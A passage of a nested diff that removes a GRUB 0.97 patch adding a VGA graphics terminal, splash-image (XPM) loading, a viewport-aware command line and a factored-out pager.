-+#endif /* SUPPORT_SERIAL || SUPPORT_HERCULES || SUPPORT_GRAPHICS */
- #ifdef SUPPORT_SERIAL
-   &builtin_terminfo,
- #endif /* SUPPORT_SERIAL */
-@@ -4880,5 +5178,8 @@
-   &builtin_unhide,
-   &builtin_uppermem,
-   &builtin_vbeprobe,
-+#ifdef SUPPORT_GRAPHICS
-+  &builtin_viewport,
-+#endif
-   0
- };
-diff -Naur grub-0.97.orig/stage2/char_io.c grub-0.97/stage2/char_io.c
---- grub-0.97.orig/stage2/char_io.c	2005-02-01 18:51:23.000000000 -0200
-+++ grub-0.97/stage2/char_io.c	2005-06-12 20:56:49.000000000 -0300
-@@ -29,12 +29,17 @@
- # include <serial.h>
- #endif
- 
-+#ifdef SUPPORT_GRAPHICS
-+# include <graphics.h>
-+#endif
-+
- #ifndef STAGE1_5
- struct term_entry term_table[] =
-   {
-     {
-       "console",
-       0,
-+      24,
-       console_putchar,
-       console_checkkey,
-       console_getkey,
-@@ -43,13 +48,16 @@
-       console_cls,
-       console_setcolorstate,
-       console_setcolor,
--      console_setcursor
-+      console_setcursor,
-+      0, 
-+      0
-     },
- #ifdef SUPPORT_SERIAL
-     {
-       "serial",
-       /* A serial device must be initialized.  */
-       TERM_NEED_INIT,
-+      24,
-       serial_putchar,
-       serial_checkkey,
-       serial_getkey,
-@@ -58,6 +66,8 @@
-       serial_cls,
-       serial_setcolorstate,
-       0,
-+      0,
-+      0, 
-       0
-     },
- #endif /* SUPPORT_SERIAL */
-@@ -65,6 +75,7 @@
-     {
-       "hercules",
-       0,
-+      24,
-       hercules_putchar,
-       console_checkkey,
-       console_getkey,
-@@ -73,11 +84,30 @@
-       hercules_cls,
-       hercules_setcolorstate,
-       hercules_setcolor,
--      hercules_setcursor
-+      hercules_setcursor,
-+      0,
-+      0
-     },      
- #endif /* SUPPORT_HERCULES */
-+#ifdef SUPPORT_GRAPHICS
-+    { "graphics",
-+      TERM_NEED_INIT, /* flags */
-+      30, /* number of lines */
-+      graphics_putchar, /* putchar */
-+      console_checkkey, /* checkkey */
-+      console_getkey, /* getkey */
-+      graphics_getxy, /* getxy */
-+      graphics_gotoxy, /* gotoxy */
-+      graphics_cls, /* cls */
-+      graphics_setcolorstate, /* setcolorstate */
-+      graphics_setcolor, /* setcolor */
-+      graphics_setcursor, /* nocursor */
-+      graphics_init, /* initialize */
-+      graphics_end /* shutdown */
-+    },
-+#endif /* SUPPORT_GRAPHICS */
-     /* This must be the last entry.  */
--    { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }
-+    { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }
-   };
- 
- /* This must be console.  */
-@@ -305,9 +335,10 @@
- 
-   /* XXX: These should be defined in shared.h, but I leave these here,
-      until this code is freezed.  */
--#define CMDLINE_WIDTH	78
- #define CMDLINE_MARGIN	10
--  
-+
-+  /* command-line limits */
-+  int cmdline_width = 78, col_start = 0;
-   int xpos, lpos, c, section;
-   /* The length of PROMPT.  */
-   int plen;
-@@ -338,7 +369,7 @@
-       
-       /* If the cursor is in the first section, display the first section
- 	 instead of the second.  */
--      if (section == 1 && plen + lpos < CMDLINE_WIDTH)
-+      if (section == 1 && plen + lpos < cmdline_width)
- 	cl_refresh (1, 0);
-       else if (xpos - count < 1)
- 	cl_refresh (1, 0);
-@@ -354,7 +385,7 @@
- 		grub_putchar ('\b');
- 	    }
- 	  else
--	    gotoxy (xpos, getxy () & 0xFF);
-+	    gotoxy (xpos + col_start, getxy () & 0xFF);
- 	}
-     }
- 
-@@ -364,7 +395,7 @@
-       lpos += count;
- 
-       /* If the cursor goes outside, scroll the screen to the right.  */
--      if (xpos + count >= CMDLINE_WIDTH)
-+      if (xpos + count >= cmdline_width)
- 	cl_refresh (1, 0);
-       else
- 	{
-@@ -383,7 +414,7 @@
- 		}
- 	    }
- 	  else
--	    gotoxy (xpos, getxy () & 0xFF);
-+	    gotoxy (xpos + col_start, getxy () & 0xFF);
- 	}
-     }
- 
-@@ -398,14 +429,14 @@
-       if (full)
- 	{
- 	  /* Recompute the section number.  */
--	  if (lpos + plen < CMDLINE_WIDTH)
-+	  if (lpos + plen < cmdline_width)
- 	    section = 0;
- 	  else
--	    section = ((lpos + plen - CMDLINE_WIDTH)
--		       / (CMDLINE_WIDTH - 1 - CMDLINE_MARGIN) + 1);
-+	    section = ((lpos + plen - cmdline_width)
-+		       / (cmdline_width - 1 - CMDLINE_MARGIN) + 1);
- 
- 	  /* From the start to the end.  */
--	  len = CMDLINE_WIDTH;
-+	  len = cmdline_width;
- 	  pos = 0;
- 	  grub_putchar ('\r');
- 
-@@ -445,8 +476,8 @@
- 	  if (! full)
- 	    offset = xpos - 1;
- 	  
--	  start = ((section - 1) * (CMDLINE_WIDTH - 1 - CMDLINE_MARGIN)
--		   + CMDLINE_WIDTH - plen - CMDLINE_MARGIN);
-+	  start = ((section - 1) * (cmdline_width - 1 - CMDLINE_MARGIN)
-+		   + cmdline_width - plen - CMDLINE_MARGIN);
- 	  xpos = lpos + 1 - start;
- 	  start += offset;
- 	}
-@@ -471,7 +502,7 @@
-       
-       /* If the cursor is at the last position, put `>' or a space,
- 	 depending on if there are more characters in BUF.  */
--      if (pos == CMDLINE_WIDTH)
-+      if (pos == cmdline_width)
- 	{
- 	  if (start + len < llen)
- 	    grub_putchar ('>');
-@@ -488,7 +519,7 @@
- 	    grub_putchar ('\b');
- 	}
-       else
--	gotoxy (xpos, getxy () & 0xFF);
-+	gotoxy (xpos + col_start, getxy () & 0xFF);
-     }
- 
-   /* Initialize the command-line.  */
-@@ -518,10 +549,10 @@
- 	  
- 	  llen += l;
- 	  lpos += l;
--	  if (xpos + l >= CMDLINE_WIDTH)
-+	  if (xpos + l >= cmdline_width)
- 	    cl_refresh (1, 0);
--	  else if (xpos + l + llen - lpos > CMDLINE_WIDTH)
--	    cl_refresh (0, CMDLINE_WIDTH - xpos);
-+	  else if (xpos + l + llen - lpos > cmdline_width)
-+	    cl_refresh (0, cmdline_width - xpos);
- 	  else
- 	    cl_refresh (0, l + llen - lpos);
- 	}
-@@ -533,12 +564,22 @@
-       grub_memmove (buf + lpos, buf + lpos + count, llen - count + 1);
-       llen -= count;
-       
--      if (xpos + llen + count - lpos > CMDLINE_WIDTH)
--	cl_refresh (0, CMDLINE_WIDTH - xpos);
-+      if (xpos + llen + count - lpos > cmdline_width)
-+	cl_refresh (0, cmdline_width - xpos);
-       else
- 	cl_refresh (0, llen + count - lpos);
-     }
- 
-+  max_lines = current_term->max_lines;
-+#ifdef SUPPORT_GRAPHICS
-+  if (grub_memcmp (current_term->name, "graphics", sizeof ("graphics") - 1) == 0)
-+    {
-+      cmdline_width = (view_x1 - view_x0) - 2;
-+      col_start = view_x0;
-+      max_lines = view_y1 - view_y0;
-+    }
-+#endif
-+
-   plen = grub_strlen (prompt);
-   llen = grub_strlen (cmdline);
- 
-@@ -1006,6 +1047,48 @@
- }
- #endif /* ! STAGE1_5 */
- 
-+#ifndef STAGE1_5
-+/* Internal pager.  */
-+int
-+do_more (void)
-+{
-+  if (count_lines >= 0)
-+    {
-+      count_lines++;
-+      if (count_lines >= max_lines - 2)
-+        {
-+          int tmp;
-+
-+          /* It's important to disable the feature temporarily, because
-+             the following grub_printf call will print newlines.  */
-+          count_lines = -1;
-+
-+          grub_printf("\n");
-+          if (current_term->setcolorstate)
-+            current_term->setcolorstate (COLOR_STATE_HIGHLIGHT);
-+
-+          grub_printf ("[Hit return to continue]");
-+
-+          if (current_term->setcolorstate)
-+            current_term->setcolorstate (COLOR_STATE_NORMAL);
-+
-+
-+          do
-+            {
-+              tmp = ASCII_CHAR (getkey ());
-+            }
-+          while (tmp != '\n' && tmp != '\r');
-+          grub_printf ("\r                        \r");
-+
-+          /* Restart to count lines.  */
-+          count_lines = 0;
-+          return 1;
-+        }
-+    }
-+  return 0;
-+}
-+#endif
-+
- /* Display an ASCII character.  */
- void
- grub_putchar (int c)
-@@ -1034,38 +1117,11 @@
- 
-   if (c == '\n')
-     {
-+      int flag;
-       /* Internal `more'-like feature.  */
--      if (count_lines >= 0)
--	{
--	  count_lines++;
--	  if (count_lines >= max_lines - 2)
--	    {
--	      int tmp;
--	      
--	      /* It's important to disable the feature temporarily, because
--		 the following grub_printf call will print newlines.  */
--	      count_lines = -1;
--
--	      if (current_term->setcolorstate)
--		current_term->setcolorstate (COLOR_STATE_HIGHLIGHT);
--	      
--	      grub_printf ("\n[Hit return to continue]");
--
--	      if (current_term->setcolorstate)
--		current_term->setcolorstate (COLOR_STATE_NORMAL);
--	      
--	      do
--		{
--		  tmp = ASCII_CHAR (getkey ());
--		}
--	      while (tmp != '\n' && tmp != '\r');
--	      grub_printf ("\r                        \r");
--	      
--	      /* Restart to count lines.  */
--	      count_lines = 0;
--	      return;
--	    }
--	}
-+      flag = do_more ();
-+      if (flag)
-+        return;
-     }
- 
-   current_term->putchar (c);
-@@ -1090,7 +1146,7 @@
- cls (void)
- {
-   /* If the terminal is dumb, there is no way to clean the terminal.  */
--  if (current_term->flags & TERM_DUMB)
-+  if (current_term->flags & TERM_DUMB) 
-     grub_putchar ('\n');
-   else
-     current_term->cls ();
-@@ -1217,6 +1273,16 @@
-   return ! errnum;
- }
- 
-+void
-+grub_memcpy(void *dest, const void *src, int len)
-+{
-+  int i;
-+  register char *d = (char*)dest, *s = (char*)src;
-+
-+  for (i = 0; i < len; i++)
-+    d[i] = s[i];
-+}
-+
- void *
- grub_memmove (void *to, const void *from, int len)
- {
-diff -Naur grub-0.97.orig/stage2/cmdline.c grub-0.97/stage2/cmdline.c
---- grub-0.97.orig/stage2/cmdline.c	2004-08-16 20:23:01.000000000 -0300
-+++ grub-0.97/stage2/cmdline.c	2005-06-12 20:56:49.000000000 -0300
-@@ -50,10 +50,11 @@
- void
- print_cmdline_message (int forever)
- {
--  printf (" [ Minimal BASH-like line editing is supported.  For the first word, TAB\n"
--	  "   lists possible command completions.  Anywhere else TAB lists the possible\n"
--	  "   completions of a device/filename.%s ]\n",
--	  (forever ? "" : "  ESC at any time exits."));
-+  grub_printf("       [ Minimal BASH-like line editing is supported.   For\n"
-+              "         the   first   word,  TAB  lists  possible  command\n"
-+              "         completions.  Anywhere else TAB lists the possible\n"
-+              "         completions of a device/filename.%s ]\n",
-+              (forever ? "" : "  ESC at any time\n         exits."));
- }
- 
- /* Find the builtin whose command name is COMMAND and return the
-diff -Naur grub-0.97.orig/stage2/graphics.c grub-0.97/stage2/graphics.c
---- grub-0.97.orig/stage2/graphics.c	1969-12-31 21:00:00.000000000 -0300
-+++ grub-0.97/stage2/graphics.c	2005-06-13 19:13:31.000000000 -0300
-@@ -0,0 +1,584 @@
-+/*
-+ * graphics.c - graphics mode support for GRUB
-+ * Implemented as a terminal type by Jeremy Katz <katzj@redhat.com> based
-+ * on a patch by Paulo César Pereira de Andrade <pcpa@conectiva.com.br>
-+ * Options and enhancements made by Herton Ronaldo Krzesinski
-+ * <herton@mandriva.com>
-+ *
-+ *  GRUB  --  GRand Unified Bootloader
-+ *  Copyright (C) 2001,2002  Red Hat, Inc.
-+ *  Portions copyright (C) 2000  Conectiva, Inc.
-+ *
-+ *  This program is free software; you can redistribute it and/or modify
-+ *  it under the terms of the GNU General Public License as published by
-+ *  the Free Software Foundation; either version 2 of the License, or
-+ *  (at your option) any later version.
-+ *
-+ *  This program is distributed in the hope that it will be useful,
-+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
-+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-+ *  GNU General Public License for more details.
-+ *
-+ *  You should have received a copy of the GNU General Public License
-+ *  along with this program; If not, see <http://www.gnu.org/licenses/>
-+ */
-+
-+#ifdef SUPPORT_GRAPHICS
-+
-+#include <term.h>
-+#include <shared.h>
-+#include <graphics.h>
-+
-+int saved_videomode;
-+unsigned char *font8x16;
-+
-+int graphics_inited = 0;
-+static char splashimage[256];
-+
-+int shade = 1, no_cursor = 0;
-+
-+#define VSHADOW VSHADOW1
-+unsigned char VSHADOW1[38400];
-+unsigned char VSHADOW2[38400];
-+unsigned char VSHADOW4[38400];
-+unsigned char VSHADOW8[38400];
-+
-+/* define the default viewable area */
-+int view_x0 = 0;
-+int view_y0 = 0;
-+int view_x1 = 80;
-+int view_y1 = 30;
-+
-+/* text buffer has to be kept around so that we can write things as we
-+ * scroll and the like */
-+unsigned short text[80 * 30];
-+
-+/* graphics options */
-+int foreground = (63 << 16) | (63 << 8) | (63), background = 0, window_border = 0;
-+
-+/* current position */
-+static int fontx = 0;
-+static int fonty = 0;
-+
-+/* global state so that we don't try to recursively scroll or cursor */
-+static int no_scroll = 0;
-+
-+/* color state */
-+static int graphics_standard_color = A_NORMAL;
-+static int graphics_normal_color = A_NORMAL;
-+static int graphics_highlight_color = A_REVERSE;
-+static int graphics_current_color = A_NORMAL;
-+static color_state graphics_color_state = COLOR_STATE_STANDARD;
-+
-+static inline void outb(unsigned short port, unsigned char val)
-+{
-+    __asm __volatile ("outb %0,%1"::"a" (val), "d" (port));
-+}
-+
-+static void MapMask(int value) {
-+    outb(0x3c4, 2);
-+    outb(0x3c5, value);
-+}
-+
-+/* bit mask register */
-+static void BitMask(int value) {
-+    outb(0x3ce, 8);
-+    outb(0x3cf, value);
-+}
-+
-+/* move the graphics cursor location to col, row */
-+static void graphics_setxy(int col, int row) {
-+    if (col >= view_x0 && col < view_x1) {
-+        fontx = col;
-+        cursorX = col << 3;
-+    }
-+    if (row >= view_y0 && row < view_y1) {
-+        fonty = row;
-+        cursorY = row << 4;
-+    }
-+}
-+
-+/* scroll the screen */
-+static void graphics_scroll() {
-+    int i, j, k;
-+
-+    /* we don't want to scroll recursively... that would be bad */
-+    if (no_scroll)
-+        return;
-+    no_scroll = 1;
-+
-+    /* disable pager temporarily */
-+    k = count_lines;
-+    count_lines = -1;
-+    
-+    /* move everything up a line */
-+    for (j = view_y0 + 1; j < view_y1; j++) {
-+        graphics_gotoxy(view_x0, j - 1);
-+        for (i = view_x0; i < view_x1; i++) {
-+            graphics_putchar(text[j * 80 + i]);
-+        }
-+    }
-+
-+    /* last line should be blank */
-+    graphics_gotoxy(view_x0, view_y1 - 1);
-+    for (i = view_x0; i < view_x1; i++)
-+        graphics_putchar(' ');
-+    graphics_setxy(view_x0, view_y1 - 1);
-+
-+    count_lines = k;
-+
-+    no_scroll = 0;
-+}
-+
-+/* Set the splash image */
-+void graphics_set_splash(char *splashfile) {
-+    grub_strcpy(splashimage, splashfile);
-+}
-+
-+/* Get the current splash image */
-+char *graphics_get_splash(void) {
-+    return splashimage;
-+}
-+
-+/* 
-+ * Initialize a vga16 graphics display with the palette based off of
-+ * the image in splashimage.  If the image doesn't exist, leave graphics
-+ * mode. The mode initiated is 12h. From "Ralf Brown's Interrupt List":
-+ *      text/ text pixel   pixel   colors disply scrn  system
-+ *      grph resol  box  resolution       pages  addr
-+ * 12h   G   80x30  8x16  640x480  16/256K  .    A000  VGA,ATI VIP
-+ *       G   80x30  8x16  640x480  16/64    .    A000  ATI EGA Wonder
-+ *       G     .     .    640x480  16       .      .   UltraVision+256K EGA
-+ */
-+int graphics_init()
-+{
-+    if (!graphics_inited) {
-+        saved_videomode = set_videomode(0x12);
-+        if (get_videomode() != 0x12) {
-+            set_videomode(saved_videomode);
-+            return 0;
-+        }
-+        graphics_inited = 1;
-+    }
-+    else
-+        return 1;
-+
-+    font8x16 = (unsigned char*)graphics_get_font();
-+
-+    /* make sure that the highlight color is set correctly */
-+    graphics_highlight_color = ((graphics_normal_color >> 4) | 
-+                                ((graphics_normal_color & 0xf) << 4));
-+
-+    graphics_cls();
-+
-+    if (!read_image(splashimage)) {
-+        grub_printf("Failed to read splash image (%s)\n", splashimage);
-+        grub_printf("Press any key to continue...");
-+        getkey();
-+        set_videomode(saved_videomode);
-+        graphics_inited = 0;
-+        return 0;
-+    }
-+
-+    set_int1c_handler();
-+
-+    return 1;
-+}
-+
-+/* Leave graphics mode */
-+void graphics_end(void)
-+{
-+    if (graphics_inited) {
-+        unset_int1c_handler();
-+        set_videomode(saved_videomode);
-+        graphics_inited = 0;
-+        no_cursor = 0;
-+    }
-+}
-+
-+/* Print ch on the screen.  Handle any needed scrolling or the like */
-+void graphics_putchar(int ch) {
-+    ch &= 0xff;
-+
-+    graphics_cursor(0);
-+
-+    if (ch == '\n') {
-+        if (fonty + 1 < view_y1)
-+            graphics_setxy(fontx, fonty + 1);
-+        else
-+            graphics_scroll();
-+        graphics_cursor(1);
-+        return;
-+    } else if (ch == '\r') {
-+        graphics_setxy(view_x0, fonty);
-+        graphics_cursor(1);
-+        return;
-+    }
-+
-+    graphics_cursor(0);
-+
-+    text[fonty * 80 + fontx] = ch;
-+    text[fonty * 80 + fontx] &= 0x00ff;
-+    if (graphics_current_color & 0xf0)
-+        text[fonty * 80 + fontx] |= 0x100;
-+
-+    graphics_cursor(0);
-+
-+    if ((fontx + 1) >= view_x1) {
-+        graphics_setxy(view_x0, fonty);
-+        if (fonty + 1 < view_y1)
-+            graphics_setxy(view_x0, fonty + 1);
-+        else
-+            graphics_scroll();
-+        graphics_cursor(1);
-+        do_more ();
-+        graphics_cursor(0);
-+    } else {
-+        graphics_setxy(fontx + 1, fonty);
-+    }
-+
-+    graphics_cursor(1);
-+}
-+
-+/* get the current location of the cursor */
-+int graphics_getxy(void) {
-+    return (fontx << 8) | fonty;
-+}
-+
-+void graphics_gotoxy(int x, int y) {
-+    graphics_cursor(0);
-+
-+    graphics_setxy(x, y);
-+
-+    graphics_cursor(1);
-+}
-+
-+void graphics_cls(void) {
-+    int i;
-+    unsigned char *mem, *s1, *s2, *s4, *s8;
-+
-+    graphics_cursor(0);
-+    graphics_gotoxy(view_x0, view_y0);
-+
-+    mem = (unsigned char*)VIDEOMEM;
-+    s1 = (unsigned char*)VSHADOW1;
-+    s2 = (unsigned char*)VSHADOW2;
-+    s4 = (unsigned char*)VSHADOW4;
-+    s8 = (unsigned char*)VSHADOW8;
-+
-+    for (i = 0; i < 80 * 30; i++)
-+        text[i] = ' ';
-+    graphics_cursor(1);
-+
-+    BitMask(0xff);
-+
-+    /* plane 1 */
-+    MapMask(1);
-+    grub_memcpy(mem, s1, 38400);
-+
-+    /* plane 2 */
-+    MapMask(2);
-+    grub_memcpy(mem, s2, 38400);
-+
-+    /* plane 3 */
-+    MapMask(4);
-+    grub_memcpy(mem, s4, 38400);
-+
-+    /* plane 4 */
-+    MapMask(8);
-+    grub_memcpy(mem, s8, 38400);
-+
-+    MapMask(15);
-+
-+    if (no_cursor) {
-+        no_cursor = 0;
-+        set_int1c_handler();
-+    }
-+}
-+
-+void graphics_setcolorstate (color_state state) {
-+    switch (state) {
-+    case COLOR_STATE_STANDARD:
-+        graphics_current_color = graphics_standard_color;
-+        break;
-+    case COLOR_STATE_NORMAL:
-+        graphics_current_color = graphics_normal_color;
-+        break;
-+    case COLOR_STATE_HIGHLIGHT:
-+        graphics_current_color = graphics_highlight_color;
-+        break;
-+    default:
-+        graphics_current_color = graphics_standard_color;
-+        break;
-+    }
-+
-+    graphics_color_state = state;
-+}
-+
-+void graphics_setcolor (int normal_color, int highlight_color) {
-+    graphics_normal_color = normal_color;
-+    graphics_highlight_color = highlight_color;
-+
-+    graphics_setcolorstate (graphics_color_state);
-+}
-+
-+int graphics_setcursor (int on) {
-+    if (!no_cursor && !on) {
-+        no_cursor = 1;
-+        unset_int1c_handler();
-+        graphics_cursor(0);
-+    }
-+    else if(no_cursor && on) {
-+        no_cursor = 0;
-+        set_int1c_handler();
-+        graphics_cursor(1);
-+    }
-+    return 0;
-+}
-+
-+/* Read in the splashscreen image and set the palette up appropriately.
-+ * Format of splashscreen is an xpm (can be gzipped) with 16 colors and
-+ * 640x480. */
-+int read_image(char *s)
-+{
-+    char buf[32], pal[16], c;
-+    unsigned char base, mask, *s1, *s2, *s4, *s8;
-+    unsigned i, len, idx, colors, x, y, width, height;
-+
-+    if (!grub_open(s))
-+        return 0;
-+
-+    /* read header */
-+    if (!grub_read((char*)&buf, 10) || grub_memcmp(buf, "/* XPM */\n", 10)) {
-+        grub_close();
-+        return 0;
-+    }
-+    
-+    /* parse info */
-+    while (grub_read(&c, 1)) {
-+        if (c == '"')
-+            break;
-+    }
-+
-+    while (grub_read(&c, 1) && (c == ' ' || c == '\t'))
-+        ;
-+
-+    i = 0;
-+    width = c - '0';
-+    while (grub_read(&c, 1)) {
-+        if (c >= '0' && c <= '9')
-+            width = width * 10 + c - '0';
-+        else
-+            break;
-+    }
-+    while (grub_read(&c, 1) && (c == ' ' || c == '\t'))
-+        ;
-+
-+    height = c - '0';
-+    while (grub_read(&c, 1)) {
-+        if (c >= '0' && c <= '9')
-+            height = height * 10 + c - '0';
-+        else
-+            break;
-+    }
-+    while (grub_read(&c, 1) && (c == ' ' || c == '\t'))
-+        ;
-+
-+    colors = c - '0';
-+    while (grub_read(&c, 1)) {
-+        if (c >= '0' && c <= '9')
-+            colors = colors * 10 + c - '0';
-+        else
-+            break;
-+    }
-+
-+    base = 0;
-+    while (grub_read(&c, 1) && c != '"')
-+        ;
-+
-+    /* palette */
-+    for (i = 0, idx = 1; i < colors; i++) {
-+        len = 0;
-+
-+        while (grub_read(&c, 1) && c != '"')
-+            ;
-+        grub_read(&c, 1);       /* char */
-+        base = c;
-+        grub_read(buf, 4);      /* \t c # */
-+
-+        while (grub_read(&c, 1) && c != '"') {
-+            if (len < sizeof(buf))
-+                buf[len++] = c;
-+        }
-+
-+        if (len == 6 && idx < 15) {
-+            int r = ((hex(buf[0]) << 4) | hex(buf[1])) >> 2;
-+            int g = ((hex(buf[2]) << 4) | hex(buf[3])) >> 2;
-+            int b = ((hex(buf[4]) << 4) | hex(buf[5])) >> 2;
-+
-+            pal[idx] = base;
-+            graphics_set_palette(idx, r, g, b);
-+            ++idx;
-+        }
-+    }
-+
-+    x = y = len = 0;
-+
-+    s1 = (unsigned char*)VSHADOW1;
-+    s2 = (unsigned char*)VSHADOW2;
-+    s4 = (unsigned char*)VSHADOW4;
-+    s8 = (unsigned char*)VSHADOW8;
-+
-+    for (i = 0; i < 38400; i++)
-+        s1[i] = s2[i] = s4[i] = s8[i] = 0;
-+
-+    /* parse xpm data */
-+    while (y < height) {
-+        while (1) {
-+            if (!grub_read(&c, 1)) {
-+                grub_close();
-+                return 0;
-+            }
-+            if (c == '"')
-+                break;
-+        }
-+
-+        while (grub_read(&c, 1) && c != '"') {
-+            for (i = 1; i < 15; i++)
-+                if (pal[i] == c) {
-+                    c = i;
-+                    break;
-+                }
-+
-+            mask = 0x80 >> (x & 7);
-+            if (c & 1)
-+                s1[len + (x >> 3)] |= mask;
-+            if (c & 2)
-+                s2[len + (x >> 3)] |= mask;
-+            if (c & 4)
-+                s4[len + (x >> 3)] |= mask;
-+            if (c & 8)
-+                s8[len + (x >> 3)] |= mask;
-+
-+            if (++x >= 640) {
-+                x = 0;
-+
-+                if (y < 480)
-+                    len += 80;
-+                ++y;
-+            }
-+        }
-+    }
-+
-+    grub_close();
-+
-+    graphics_set_palette(0, (background >> 16), (background >> 8) & 63, 
-+                background & 63);
-+    graphics_set_palette(15, (foreground >> 16), (foreground >> 8) & 63, 
-+                foreground & 63);
-+    graphics_set_palette(0x11, (window_border >> 16), (window_border >> 8) & 63, 
-+                         window_border & 63);
-+
-+    return 1;
-+}
-+
-+/* Convert a character which is a hex digit to the appropriate integer */
-+int hex(int v)
-+{
-+    if (v >= 'A' && v <= 'F')
-+        return (v - 'A' + 10);
-+    if (v >= 'a' && v <= 'f')
-+        return (v - 'a' + 10);
-+    return (v - '0');
-+}
-+
-+void graphics_cursor(int set) {
-+    unsigned char *pat, *mem, *ptr, chr[16 << 2];
-+    int i, ch, invert, offset;
-+
-+    if (set && (no_cursor || no_scroll))
-+        return;
-+
-+    offset = cursorY * 80 + fontx;
-+    ch = text[fonty * 80 + fontx] & 0xff;
-+    invert = (text[fonty * 80 + fontx] & 0xff00) != 0;
-+    pat = font8x16 + (ch << 4);
-+
-+    mem = (unsigned char*)VIDEOMEM + offset;
-+
-+    if (!set) {
-+        for (i = 0; i < 16; i++) {
-+            unsigned char mask = pat[i];
-+
-+            if (!invert) {
-+                chr[i     ] = ((unsigned char*)VSHADOW1)[offset];
-+                chr[16 + i] = ((unsigned char*)VSHADOW2)[offset];
-+                chr[32 + i] = ((unsigned char*)VSHADOW4)[offset];
-+                chr[48 + i] = ((unsigned char*)VSHADOW8)[offset];
-+
-+                if (shade) {
-+                    if (ch == DISP_VERT || ch == DISP_LL ||
-+                        ch == DISP_UR || ch == DISP_LR) {
-+                        unsigned char pmask = ~(pat[i] >> 1);
-+
-+                        chr[i     ] &= pmask;
-+                        chr[16 + i] &= pmask;
-+                        chr[32 + i] &= pmask;
-+                        chr[48 + i] &= pmask;
-+                    }
-+                    if (i > 0 && ch != DISP_VERT) {
-+                        unsigned char pmask = ~(pat[i - 1] >> 1);
-+
-+                        chr[i     ] &= pmask;
-+                        chr[16 + i] &= pmask;
-+                        chr[32 + i] &= pmask;
-+                        chr[48 + i] &= pmask;
-+                        if (ch == DISP_HORIZ || ch == DISP_UR || ch == DISP_LR) {
-+                            pmask = ~pat[i - 1];
-+
-+                            chr[i     ] &= pmask;
-+                            chr[16 + i] &= pmask;
-+                            chr[32 + i] &= pmask;
-+                            chr[48 + i] &= pmask;
-+                        }
-+                    }
-+                }
-+                chr[i     ] |= mask;
-+                chr[16 + i] |= mask;
-+                chr[32 + i] |= mask;
-+                chr[48 + i] |= mask;
-+
-+                offset += 80;
-+            }
-+            else {
-+                chr[i     ] = mask;
-+                chr[16 + i] = mask;
-+                chr[32 + i] = mask;
-+                chr[48 + i] = mask;
-+            }
-+        }
-+    }
-+    else {
-+        MapMask(15);
-+        ptr = mem;
-+        for (i = 0; i < 16; i++, ptr += 80) {
-+            cursorBuf[i] = pat[i];
-+            *ptr = ~pat[i];
-+        }
-+        return;
-+    }
-+
-+    offset = 0;
-+    for (i = 1; i < 16; i <<= 1, offset += 16) {
-+        int j;
-+
-+        MapMask(i);
-+        ptr = mem;
-+        for (j = 0; j < 16; j++, ptr += 80)
-+            *ptr = chr[j + offset];
-+    }
-+
-+    MapMask(15);
-+}
-+
-+#endif /* SUPPORT_GRAPHICS */
-diff -Naur grub-0.97.orig/stage2/graphics.h grub-0.97/stage2/graphics.h
---- grub-0.97.orig/stage2/graphics.h	1969-12-31 21:00:00.000000000 -0300
-+++ grub-0.97/stage2/graphics.h	2005-06-12 20:56:49.000000000 -0300
-@@ -0,0 +1,43 @@
-+/* graphics.h - graphics console interface */
-+/*
-+ *  GRUB  --  GRand Unified Bootloader
-+ *  Copyright (C) 2002  Free Software Foundation, Inc.
-+ *
-+ *  This program is free software; you can redistribute it and/or modify
-+ *  it under the terms of the GNU General Public License as published by
-+ *  the Free Software Foundation; either version 2 of the License, or
-+ *  (at your option) any later version.
-+ *
-+ *  This program is distributed in the hope that it will be useful,
-+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
-+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-+ *  GNU General Public License for more details.
-+ *
-+ *  You should have received a copy of the GNU General Public License
-+ *  along with this program; If not, see <http://www.gnu.org/licenses/>
-+ */
-+
-+#ifndef GRAPHICS_H
-+#define GRAPHICS_H
-+
-+/* magic constant */
-+#define VIDEOMEM 0xA0000
-+
-+/* function prototypes */
-+char *graphics_get_splash(void);
-+
-+int read_image(char *s);
-+void graphics_cursor(int set);
-+
-+/* function prototypes for asm functions */
-+void * graphics_get_font();
-+void graphics_set_palette(int idx, int red, int green, int blue);
-+void set_int1c_handler();
-+void unset_int1c_handler();
-+
-+extern short cursorX, cursorY;
-+extern char cursorBuf[16];
-+extern int shade;
-+extern int view_x0, view_y0, view_x1, view_y1;
-+
-+#endif /* GRAPHICS_H */
-diff -Naur grub-0.97.orig/stage2/Makefile.am grub-0.97/stage2/Makefile.am
---- grub-0.97.orig/stage2/Makefile.am	2005-02-02 18:37:35.000000000 -0200
-+++ grub-0.97/stage2/Makefile.am	2005-06-12 20:56:49.000000000 -0300
-@@ -7,7 +7,7 @@
-         fat.h filesys.h freebsd.h fs.h hercules.h i386-elf.h \
- 	imgact_aout.h iso9660.h jfs.h mb_header.h mb_info.h md5.h \
- 	nbi.h pc_slice.h serial.h shared.h smp-imps.h term.h \
--	terminfo.h tparm.h nbi.h ufs2.h vstafs.h xfs.h
-+	terminfo.h tparm.h nbi.h ufs2.h vstafs.h xfs.h graphics.h
- EXTRA_DIST = setjmp.S apm.S $(noinst_SCRIPTS)
- 
- # For <stage1.h>.
-@@ -19,7 +19,7 @@
- 	disk_io.c fsys_ext2fs.c fsys_fat.c fsys_ffs.c fsys_iso9660.c \
- 	fsys_jfs.c fsys_minix.c fsys_reiserfs.c fsys_ufs2.c \
- 	fsys_vstafs.c fsys_xfs.c gunzip.c md5.c serial.c stage2.c \
--	terminfo.c tparm.c
-+	terminfo.c tparm.c graphics.c
- libgrub_a_CFLAGS = $(GRUB_CFLAGS) -I$(top_srcdir)/lib \
- 	-DGRUB_UTIL=1 -DFSYS_EXT2FS=1 -DFSYS_FAT=1 -DFSYS_FFS=1 \
- 	-DFSYS_ISO9660=1 -DFSYS_JFS=1 -DFSYS_MINIX=1 -DFSYS_REISERFS=1 \
-@@ -79,8 +79,14 @@
- HERCULES_FLAGS =
- endif
- 
-+if GRAPHICS_SUPPORT
-+GRAPHICS_FLAGS = -DSUPPORT_GRAPHICS=1
-+else
-+GRAPHICS_FLAGS =
-+endif
-+
- STAGE2_COMPILE = $(STAGE2_CFLAGS) -fno-builtin -nostdinc \
